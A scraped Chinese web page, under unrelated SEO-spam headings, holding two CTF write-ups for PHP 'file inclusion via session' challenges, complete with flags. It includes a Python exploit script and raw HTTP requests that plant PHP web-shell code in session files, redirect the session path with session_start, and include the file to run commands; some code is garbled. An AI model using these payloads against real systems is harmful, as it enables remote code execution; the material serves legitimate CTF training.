当前位置: 首页 > news >正文

医疗网站模板拉新app推广接单平台

医疗网站模板,拉新app推广接单平台,个人网站设计论文怎么写,怎么看一个网站是哪个公司做的[题目信息]: 题目名称题目难度文件包含-session22 [题目考点]: 由于网站功能需求,会让前端用户选择要包含的文件,而开发人员又没有对要包含的文件进行安全考虑,就导致攻击者可以通过修改文件的位置来让后台执行任意…

[题目信息]:

题目名称题目难度
文件包含-session22

[题目考点]:

由于网站功能需求,会让前端用户选择要包含的文件,而开发人员又没有对要包含的文件进行安全考虑,就导致攻击者可以通过修改文件的位置来让后台执行任意文件,从而导致文件包含漏洞。

以PHP为例,常用的文件包含函数有以下四种:
include(),require(),include_once(),require_once()

[Flag格式]:

SangFor{BU919IUdc4N6mqgCNdviZcXGJNPwNkCC}

[环境部署]:

docker-compose.yml文件或者docker tar原始文件。

http://分配ip:2098

[题目writeup]:

1、实验主页

2、题解分析

#!/usr/bin/env python
# coding: utf-8

from time import sleep
import requests

url = ‘url’

s = requests.session()

def execute(cmd):
params = {
‘file’: ‘<?php passthru($POST[“cmd”]); ?>’
}
r = s.get(url, params=params)
params[‘file’] = '/tmp/sess
’ + r.cookies[‘PHPSESSID’]

r = s.post(url, params=params, data={'cmd': cmd})
return r.text

print execute(‘cat /flag’)








[题目信息]:

题目名称题目难度
文件包含-session2

[题目考点]:

由于网站功能需求,会让前端用户选择要包含的文件,而开发人员又没有对要包含的文件进行安全考虑,就导致攻击者可以通过修改文件的位置来让后台执行任意文件,从而导致文件包含漏洞。

以PHP为例,常用的文件包含函数有以下四种:
include(),require(),include_once(),require_once()

[Flag格式]:

SangFor{vV0vVtZiLZMUMRUFZHPrAuSuuSH7jris}

[环境部署]:

docker-compose.yml文件或者docker tar原始文件。

http://分配ip:2090

[题目writeup]:

1、实验主页

2、题解分析

<?phphighlight_file(__FILE__);error_reporting(0);ini_set('open_basedir', '/var/www/html:/tmp');$file = 'function.php';$func = isset($_GET['function'])?$_GET['function']:'filters'; call_user_func($func,$_GET);include($file);session_start();$_SESSION['name'] = $_POST['name'];if($_SESSION['name']=='admin'){header('location:admin.php');}
?>

分析题目源码,可以看出 $_GET[‘function’] 和 $_SESSION[‘name’] = $_POST[‘name’] 可控

其中 call_user_func($func,$_GET); 回调函数可利用

而且 include($file); 调用了文件包含

所以,可以调用变量覆盖函数,覆盖掉 $file ,从而引入文件包含

?function=extract&file=php://filter/read=convert.base64-encode/resource=./function.php

利用文件包含读到了admin.php和function.php的源码,然而这两个文件源码对解题没有什么帮助。

从index.php可以看出 $_SESSION[‘name’] = $_POST[‘name’] ,session的值可控,session默认的保存位置如下

/var/lib/php/sess_PHPSESSID

/var/lib/php/sessions/sess_PHPSESSID

/var/lib/php5/sess_PHPSESSID

/var/lib/php5/sessions/sess_PHPSESSID

/tmp/sess_PHPSESSID

/tmp/sessions/sess_PHPSESSID

由于 ini_set(‘open_basedir’, ‘/var/www/html:/tmp’) ,我们包含不了 /var/lib/ 下的session

但是我在tmp下也找不到自己的session,所以这里的session应该是在 /var/lib/ 下

这里可以调用session_start函数,修改session的位置

POST /index.php?function=session_start&save_path=/tmp HTTP/1.1
Host: 192.168.17.87:2090
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:46.0) Gecko/20100101 Firefox/46.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
DNT: 1
Cookie: PHPSESSID=056395276464d1b4480bc1457efbb106
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 41

name=<?php echo "aaa";system($_GET[x]);?>

然后进行包含session

/index.php?function=extract&file=/tmp/sess_056395276464d1b4480bc1457efbb106&x=cat+fsadgsdagsadgasd.php

http://www.ahscrl.com/news/12201.html

相关文章:

  • 怎样做网站广告网络广告策划书案例
  • 做网站需要找什么客户谷歌优化技巧
  • 培训网站建设百度指数网址是多少
  • 常州网站建设要多少钱seo引擎优化培训
  • 什么颜色做网站好看如何提高自己的营销能力
  • 医疗网站建设行业现状牡丹江网站seo
  • 做网站图片怎么做宁波seo外包服务商
  • 一个网页大概多少钱芭嘞seo
  • .win域名做网站怎么样google chrome谷歌浏览器
  • app软件开发不包括seo求职
  • 怎么做国外的网站 卖东西常见的网络营销推广方式有哪些
  • 佛山网站优化方法软件百度开户需要什么条件
  • 买个小程序多少钱seo分析工具有哪些
  • 怎么做网站360图片链接爱用建站官网
  • 中国建设银行网站登录不了网络营销的基本特征有哪七个
  • 网站建设合同违约金一般多少河南整站百度快照优化
  • 企业营业执照查询系统入口国外常用的seo站长工具
  • 个人网站的设计与实现毕业论文3000字系统优化app
  • 如何运用企业官方网站做宣传网站策划运营
  • 杭州建设实名制报备网站新闻 近期大事件
  • 用凡科网做网站怎么保存到桌面推广目标怎么写
  • 哪里可以接网站开发项目做百度导航下载2020新版语音
  • 提供定制型网站建设东莞seo网络优化
  • 从网站下载壁纸做海报涉及南京百度seo公司
  • 网站关键词数量减少广告搜索引擎
  • 厦门seo代运营暴疯团队seo课程
  • 新闻类的手机网站怎么做关键词seo公司真实推荐
  • 网站设计方案谁写建站推广
  • 宜昌网站建设0717web关键词异地排名查询
  • 网站开发有多少种北京发生大事了